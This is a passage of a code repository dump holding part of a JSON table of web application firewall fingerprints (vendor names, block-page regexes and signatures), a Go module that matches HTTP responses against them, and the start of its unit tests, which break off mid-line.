\"90fa:RVZXu261OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AA16FcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD\"\n            ]\n        },\n        \"safeline\": {\n            \"company\": \"Chaitin Tech\",\n            \"name\": \"SafeLine Next Gen WAF\",\n            \"regex\": \"<!\\\\-\\\\- event_id: [0-9a-f]{32} \\\\-\\\\->\",\n            \"signatures\": []\n        },\n        \"secureentry\": {\n            \"company\": \"United Security Providers\",\n            \"name\": \"Secure Entry Server\",\n            \"regex\": \"Server: Secure Entry Server\",\n            \"signatures\": [\n                \"6249:RVZXum60OEhCWKpAYKYPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\"\n            ]\n        },\n        \"secureiis\": {\n            \"company\": \"BeyondTrust\",\n            \"name\": \"SecureIIS Web Server Security\",\n            \"regex\": \"//www\\\\.eeye\\\\.com/SecureIIS/|\\\\?subject=[^>]*SecureIIS Error|SecureIIS[^<]+Web Server Protection\",\n            \"signatures\": [\n                \"b43e:RVZXum60OEhCWKpAYKYPkoJzWOtohM4IiUcMrmRWg1qQJbX3uhdOnthsOj+hX7AB16BcPhJOdLoXo2tKaK99n+i6c4VmkwI3FZnxtDtBeq6c36A4chS1XaTC\",\n                \"71c7:RVZXum61OElCWKpAYKYPk4JyWOpohc4IiUYMr2RWg1uQJbX2uhdOnthtOj+hXrAB16FcPhJOdLoXo2tLaK99nui7c4RmkwI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"f2ed:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJbX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4VmkwI3FZjxtDtAeq6c36A4chS1XaTC\"\n            ]\n        },\n        \"secupress\": {\n            \"company\": \"SecuPress\",\n            \"name\": \"SecuPress\",\n            \"regex\": \"<h1>SecuPress</h1><h2>\\\\d{3}\",\n            \"signatures\": [\n                \"bcb4:RVZXum60OEhCWKpAYKYPkoJyWOpohc4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\"\n            ]\n        },\n        \"shieldsecurity\": {\n            \"company\": \"One Dollar Plugin\",\n            \"name\": \"Shield Security\",\n            \"regex\": \"Something in the URL, Form or Cookie data wasn't appropriate\",\n            \"signatures\": [\n                \"e41d:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD\",\n                \"389c:RVZXum61OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD\",\n                \"a79a:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTD\"\n            ]\n        },\n        \"securesphere\": {\n            \"company\": \"Imperva\",\n            \"name\": \"SecureSphere\",\n            \"regex\": \"<H2>Error</H2>.+?#FEEE7A.+?<STRONG>Error</STRONG>|Contact support for additional information.<br/>The incident ID is: (\\\\d{19}|N/A)\",\n            \"signatures\": [\n                \"c055:RVZXum60OEhCWapAYKYPkoJzWOpohM4JiUcMr2RWg1uQJbX2uhZOnthsOj+hX7AB16FcPxJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"f460:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"9113:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"dc2c:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"599d:RVZXum60OEhCWapBYKYPk4JzWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"a86e:RVZXum60OEhCWapBYKYPk4JyWOtohM4JiUcMr2RWg1uQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"81ca:RVZXum60OEhCWapBYKYPk4JzWOtohM4IiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\"\n            ]\n        },\n        \"siteground\": {\n            \"company\": \"SiteGround\",\n            \"name\": \"SiteGround\",\n            \"regex\": \"The page you are trying to access is restricted due to a security rule|Our system thinks you might be a robot!|/.well-known/captcha/\",\n            \"signatures\": [\n                \"da25:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA5chW1XKTC\"\n            ]\n        },\n        \"siteguard\": {\n            \"company\": \"JP-Secure\",\n            \"name\": \"SiteGuard\",\n            \"regex\": \"Powered by SiteGuard|The server refuse to browse the page\",\n            \"signatures\": [\n                \"6e49:RVZXum61OElCWapBYKcPk4JzWOtohM4JiUYMr2RWg1qQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"9839:RVZXum61OElCWapBYKcPk4JzWOtohM4JiUYMr2RWg1qQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC\",\n                \"bc2d:RVZXum61OElCWapBYKcPk4JzWOtohM4JiUYMr2RWg1qQJLX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\"\n            ]\n        },\n        \"sitelock\": {\n            \"company\": \"SiteLock\",\n            \"name\": \"TrueShield\",\n            \"regex\": \"SiteLock Incident ID|SiteLock will remember you and will not show this page again|<span class=\\\\\\\"value INCIDENT_ID\\\\\\\">\",\n            \"signatures\": [],\n            \"note\": \"Uses Incapsula (Reference: https://www.whitefirdesign.com/blog/2016/11/08/more-evidence-that-sitelocks-trueshield-web-application-firewall-is-really-incapsulas-waf/)\"\n        },\n        \"sniper\": {\n            \"company\": \"Wins\",\n            \"name\": \"Sniper\",\n            \"regex\": \"document\\\\.title = [^;]+Sniper WAF\",\n            \"signatures\": []\n        },\n        \"sonicwall\": {\n            \"company\": \"Dell\",\n            \"name\": \"SonicWALL\",\n            \"regex\": \"Server: SonicWALL|(?s)<title>Web Site Blocked</title>.+?nsa_banner\",\n            \"signatures\": [\n                \"f85c:RVZXum61OElCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1qQJLX2uhZOnthsOj+hX7AA16FcPxJPdLoXo2tLaK99nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD\"\n            ]\n        },\n        \"sophos\": {\n            \"company\": \"Sophos\",\n            \"name\": \"UTM Web Protection\",\n            \"regex\": \"Powered by UTM Web Protection\",\n            \"signatures\": []\n        },\n        \"squarespace\": {\n            \"company\": \"Squarespace\",\n            \"name\": \"Squarespace\",\n            \"regex\": \"(?s) @ .+?BRICK-50\",\n            \"signatures\": [\n                \"b012:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\",\n                \"4381:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOn9hsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\"\n            ]\n        },\n        \"stackpath\": {\n            \"company\": \"StackPath\",\n            \"name\": \"StackPath\",\n            \"regex\": \"You performed an action that triggered the service and blocked your request\",\n            \"signatures\": [\n                \"5ab0:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUYMr2RWg1uQJbX2uhdOn9hsOj+hXrAA16FcPhJOdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD\",\n                \"7e0a:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUYMr2RWg1uQJbX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD\"\n            ]\n        },\n        \"sucuri\": {\n            \"company\": \"Sucuri\",\n            \"name\": \"Sucuri\",\n            \"regex\": \"Access Denied - Sucuri Website Firewall|Sucuri WebSite Firewall - CloudProxy - Access Denied|Questions\\\\?.+cloudproxy@sucuri\\\\.net\",\n            \"signatures\": [\n                \"60a9:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI2FZjxtDtAeq+c36A5chW1XaTC\"\n            ]\n        },\n        \"tencent\": {\n            \"company\": \"Tencent Cloud Computing\",\n            \"name\": \"Tencent Cloud|Waterproof Wall\",\n            \"regex\": \"waf\\\\.tencent-cloud\\\\.com|window.location.href=.https://waf.tencent.com/501page.html\",\n            \"signatures\": [\n                \"3f82:RVZXum60OEhCWapBYKcPk4JzWOpohM4IiUYMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD\"\n            ]\n        },\n        \"tmg\": {\n            \"company\": \"Microsoft\",\n            \"name\": \"Forefront Threat Management Gateway\",\n            \"regex\": \"\",\n            \"signatures\": [\n                \"4d00:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUYMr2RWg1qQJLX3uhdOnthsOj+hX7AB16BcPhJPdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XaTC\"\n            ]\n        },\n        \"urlmaster\": {\n            \"company\": \"iFinity/DotNetNuke\",\n            \"name\": \"Url Master SecurityCheck\",\n            \"regex\": \"UrlRewriteModule\\\\.SecurityCheck|X-UrlMaster-(Debug|Ex):\",\n            \"signatures\": [\n                \"ddd8:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC\"\n            ]\n        },\n        \"urlscan\": {\n            \"company\": \"Microsoft\",\n            \"name\": \"UrlScan\",\n            \"regex\": \"Rejected-By-UrlScan\",\n            \"signatures\": [\n                \"0294:RVdXum60OEhCWKpAYKYPk4JyWOpohM4IiUYMrmRXg1qQJLX2uhdOn9htOj+hXrAB16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\"\n            ]\n        },\n        \"vercel\": {\n            \"company\": \"Vercel\",\n            \"name\": \"Vercel\",\n            \"regex\": \"<title>Vercel Security Checkpoint</title>|/vercel/security/\",\n            \"signatures\": []\n        },\n        \"vfw\": {\n            \"company\": \"OWASP\",\n            \"name\": \"Varnish Firewall\",\n            \"regex\": \"Request rejected by xVarnish-WAF\",\n            \"signatures\": []\n        },\n        \"virusdie\": {\n            \"company\": \"Virusdie LLC\",\n            \"name\": \"Virusdie\",\n            \"regex\": \"Virusdie</title>|http://cdn\\\\.virusdie\\\\.ru/splash/firewallstop\\\\.png|<meta name=\\\\\\\"FW_BLOCK\\\\\\\"\",\n            \"signatures\": []\n        },\n        \"vsf\": {\n            \"company\": \"Varnish Cache Project\",\n            \"name\": \"Varnish Security Firewall\",\n            \"regex\": \"<title>403 Naughty, not nice!</title>\",\n            \"signatures\": [\n                \"26fa:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUcMr2RXg1qQJLX3uhZOnthsOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\"\n            ]\n        },\n        \"wallarm\": {\n            \"company\": \"Wallarm\",\n            \"name\": \"Wallarm\",\n            \"regex\": \"Server: nginx-wallarm\",\n            \"signatures\": [\n                \"c02b:RVZXu261OElCWapBYKcPk4JzWOpohM4JiUcMr2RWg1uQJbX3uhdOnthsOj+hXrAB16FcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\"\n            ]\n        },\n        \"wapples\": {\n            \"company\": \"Penta Security\",\n            \"name\": \"Wapples\",\n            \"regex\": \"\",\n            \"signatures\": [\n                \"60b7:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1uQJLX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XKTC\"\n            ]\n        },\n        \"watchguard\": {\n            \"company\": \"WatchGuard Technologies\",\n            \"name\": \"WatchGuard\",\n            \"regex\": \"Server: WatchGuard|Request denied by WatchGuard Firewall\",\n            \"signatures\": [\n                \"4f4f:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"2a3c:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX2uhZOnthsOj+hX7AA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"aa64:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX2uhZOnthsOj+hX7AA16FcPhJOdLoXomtKaK59nui7c4RmkgI3FZjxtDtAeq+c3qA4chW1XaTC\"\n            ]\n        },\n        \"webarx\": {\n            \"company\": \"WebARX\",\n            \"name\": \"WebARX\",\n            \"regex\": \"/wp-content/plugins/webarx/includes/|This request has been blocked by.+?>WebARX<\",\n            \"signatures\": []\n        },\n        \"webknight\": {\n            \"company\": \"AQTRONIX\",\n            \"name\": \"WebKnight\",\n            \"regex\": \"WebKnight Application Firewall Alert|AQTRONIX WebKnight|HTTP Error 999\\\\.0 - AW Special Error\",\n            \"signatures\": [\n                \"80f9:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJbX2uhdOnthtOj+hXrAB16FcPhJPdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"73e5:RVZXum60OEhCWKpAYKYPk4JyWOtohM4JiUcMrmRXg1uQJbX3uhZOnthsOj6hX7AA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC\",\n                \"d0f0:RVdXum60OEhCWKpAYKYPk4JyWOtohM4JiUcMrmRXg1uQJbX3uhdOn9htOj+hX7AA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\",\n                \"f0c3:RVZXum61OElCWKpAYKYPk4JyWOtohM4JiUcMr2RXg1uQJbX3uhZOnthsOj6hX7AA16BcPhJOdLoXo2tKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"6763:RVZXum61OElCWKpAYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"7701:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJbX2uhdOn9htOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"902b:RVdXum60OEhCWKpAYKYPk4JyWOpohM4IiUYMrmRXg1qQJbX2uhdOn9htOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"4d4d:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJbX2uhdOn9htOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\",\n                \"17a8:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUcMrmRXg1qQJbX3uhdOnthtOj+hXrAB16FcPhJPdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\"\n            ]\n        },\n        \"webland\": {\n            \"company\": \"WebLand\",\n            \"name\": \"WebLand\",\n            \"regex\": \"Server: Apache Protected by Webland WAF\",\n            \"signatures\": [\n                \"4ba0:RVZXum60OEhCWKpAYKYPkoJzWOpohc4IiUYMr2RWg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\"\n            ]\n        },\n        \"webseal\": {\n            \"company\": \"IBM\",\n            \"name\": \"WebSEAL\",\n            \"regex\": \"(?i)Server: WebSEAL|This is a WebSEAL error message template file|The Access Manager WebSEAL server received an invalid HTTP request\",\n            \"signatures\": [\n                \"0338:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\"\n            ]\n        },\n        \"webtotem\": {\n            \"company\": \"WebTotem\",\n            \"name\": \"WebTotem\",\n            \"regex\": \"The current request was blocked by.+?>WebTotem<\",\n            \"signatures\": []\n        },\n        \"wordfence\": {\n            \"company\": \"Defiant\",\n            \"name\": \"Wordfence\",\n            \"regex\": \"Generated by Wordfence|This response was generated by Wordfence|broke one of the Wordfence (advanced )?blocking rules|: wfWAF|/plugins/wordfence\",\n            \"signatures\": [\n                \"d04a:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC\",\n                \"26b1:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAA16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC\",\n                \"09cf:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtBeq6c3qA4chW1XaTC\",\n                \"1834:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTC\",\n                \"d38c:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkwI3FZjxtDtAeq6c3qA4chW1XaTC\",\n                \"d5bb:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1uQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC\",\n                \"3f1c:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD\",\n                \"dbfe:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA5chW1XaTC\",\n                \"5b85:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTD\",\n                \"f806:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC\",\n                \"0f0d:RVZXum61OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkwI3FZjxtDtAeq6c3qA4chW1XaTC\",\n                \"b13e:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC\",\n                \"40eb:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16BcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC\",\n                \"93cd:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"ba7d:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC\"\n            ]\n        },\n        \"wts\": {\n            \"company\": \"WTS\",\n            \"name\": \"WTS\",\n            \"regex\": \"Server: wts/|>WTS\\\\-WAF\",\n            \"signatures\": [\n                \"e94f:RVZXum61OElCWapAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XKTC\",\n                \"12ce:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RWg1uQJLX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XKTC\"\n            ]\n        },\n        \"yundun\": {\n            \"company\": \"Yundun\",\n            \"name\": \"Yundun\",\n            \"regex\": \"Blocked by YUNDUN Cloud WAF|yundun\\\\.com/yd_http_error/\",\n            \"signatures\": [\n                \"4853:RVZXum61OEhCWapBYKcPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC\"\n            ]\n        },\n        \"yunsuo\": {\n            \"company\": \"Yunsuo\",\n            \"name\": \"Yunsuo\",\n            \"regex\": \"yunsuo_session|<img class=\\\\\\\"yunsuologo\\\\\\\"\",\n            \"signatures\": [\n                \"441b:RVZXum60OEhCWKpAYKYPkoJzWOtohM4JiUcMr2RXg1uQJbX3uhdOnthsOj+hX7AA16FcPxJOdLoXomtKaK59nui7c4VmkgI2FZjxtDtAeq+c3qA4chW1XKTC\",\n                \"e795:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthsOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\",\n                \"7b8e:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJbX3uhdOnthsOj+hX7AA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XKTC\"\n            ]\n        },\n        \"zenedge\": {\n            \"company\": \"Zenedge\",\n            \"name\": \"Zenedge\",\n            \"regex\": \"(?s)Server: ZENEDGE.+?<div class=\\\\\\\"number\\\\\\\">403</div>\",\n            \"signatures\": [\n                \"a8fb:RVdXu260OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI2FZnxtDtBeq+c36A4chW1XaTD\",\n                \"ba3d:RVdXu260OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI2FZjxtDtAeq+c36A4chW1XaTD\"\n            ]\n        }\n    }\n}"
  },
  {
    "path": "pkg/output/stats/waf/waf.go",
    "content": "package waf\n\nimport (\n\t_ \"embed\"\n\t\"encoding/json\"\n\t\"log\"\n\t\"regexp\"\n)\n\ntype WafDetector struct {\n\twafs       map[string]waf\n\tregexCache map[string]*regexp.Regexp\n}\n\n// waf represents a web application firewall definition\ntype waf struct {\n\tCompany string `json:\"company\"`\n\tName    string `json:\"name\"`\n\tRegex   string `json:\"regex\"`\n}\n\n// wafData represents the root JSON structure\ntype wafData struct {\n\tWAFs map[string]waf `json:\"wafs\"`\n}\n\n//go:embed regexes.json\nvar wafContentRegexes string\n\nfunc NewWafDetector() *WafDetector {\n\tvar data wafData\n\tif err := json.Unmarshal([]byte(wafContentRegexes), &data); err != nil {\n\t\tlog.Printf(\"could not unmarshal waf content regexes: %s\", err)\n\t}\n\n\tstore := &WafDetector{\n\t\twafs:       data.WAFs,\n\t\tregexCache: make(map[string]*regexp.Regexp),\n\t}\n\n\tfor id, waf := range store.wafs {\n\t\tif waf.Regex == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tcompiled, err := regexp.Compile(waf.Regex)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"invalid WAF regex for %s: %v\", id, err)\n\t\t\tcontinue\n\t\t}\n\t\tstore.regexCache[id] = compiled\n\t}\n\treturn store\n}\n\nfunc (d *WafDetector) DetectWAF(content string) (string, bool) {\n\tif d == nil || d.regexCache == nil {\n\t\treturn \"\", false\n\t}\n\n\tfor id, regex := range d.regexCache {\n\t\tif regex != nil && regex.MatchString(content) {\n\t\t\treturn id, true\n\t\t}\n\t}\n\treturn \"\", false\n}\n\nfunc (d *WafDetector) GetWAF(id string) (waf, bool) {\n\twaf, ok := d.wafs[id]\n\treturn waf, ok\n}\n"
  },
  {
    "path": "pkg/output/stats/waf/waf_test.go",
    "content": "package waf\n\nimport (\n\t\"regexp\"\n\t\"testing\"\n)\n\nfunc TestWAFDetection(t *testing.T) {\n\tdetector := NewWafDetector()\n\tif detector == nil {\n\t\tt.Fatal(\"expected non-nil wafDetector\")\n\t}\n\n\ttests := []struct {\n\t\tname        string\n\t\tcontent     string\n\t\texpectedWAF string\n\t\tshouldMatch bool\n\t}{\n\t\t{\n\t\t\tname:        \"Cloudflare WAF\",\n\t\t\tcontent:     \"Attention Required! | Cloudflare\",\n\t\t\texpectedWAF: \"cloudflare\",\n\t\t\tshouldMatch: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"ModSecurity WAF\",\n\t\t\tcontent:     \"This error was generated by Mod_Security\",\n\t\t\texpectedWAF: \"modsecurity\",\n\t\t\tshouldMatch: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"No WAF\",\n\t\t\tcontent:     \"Regular response with no WAF signature\",\n\t\t\texpectedWAF: \"\",\n\t\t\tshouldMatch: false,\n\t\t},\n\t\t{\n\t\t\tname:        \"Wordfence WAF\",\n\t\t\tcontent:     \"Generated by Wordfence\",\n\t\t\texpectedWAF: \"wordfence\",\n\t\t\tshouldMatch: true,\n\t\t},\n\t\t{\n\t\t\tname:        \"Sucuri WAF\",\n\t\t\tcontent:     \"Access Denied - Sucuri Website Firewall\",\n\t\t\texpectedWAF: \"sucuri\",\n\t\t\tshouldMatch: true,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\twaf, matched := detector.DetectWAF(tt.content)\n\t\t\tif matched != tt.shouldMatch {\n\t\t\t\tt.Errorf(\"expected match=%v, got match=%v\", tt.shouldMatch, matched)\n\t\t\t}\n\t\t\tif matched && waf != tt.expectedWAF {\n\t\t\t\tt.Errorf(\"expected WAF=%s, got WAF=%s\", tt.expectedWAF, waf)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestWAFDetectionNilPointerSafety(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tdetector *WafDetector\n\t\tcontent  string\n\t}{\n\t\t{\n\t\t\tname:     \"nil detector\",\n\t\t\tdetector: nil,\n\t\t\tcontent:  \"test content\",\n\t\t},\n\t\t{\n\t\t\tname: \"nil regexCache\",\n\t\t\tdetector: &WafDetector{\n\t\t\t\twafs:       make(map[string]waf),\n\t\t\t\tregexCache: nil,\n\t\t\t},\n\t\t\tcontent: \"test content\",\n\t\t},\n\t\t{\n\t\t\tname: \"regexCache with nil regex\",\n\t\t\tdetector: &WafDetector{\n\t\t\t\twafs: make(map[string]waf),\n\t\t\t\tregexCache: map[string]*regexp.Regexp{\n\t\t\t\t\t\"test\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\tcontent: \"test 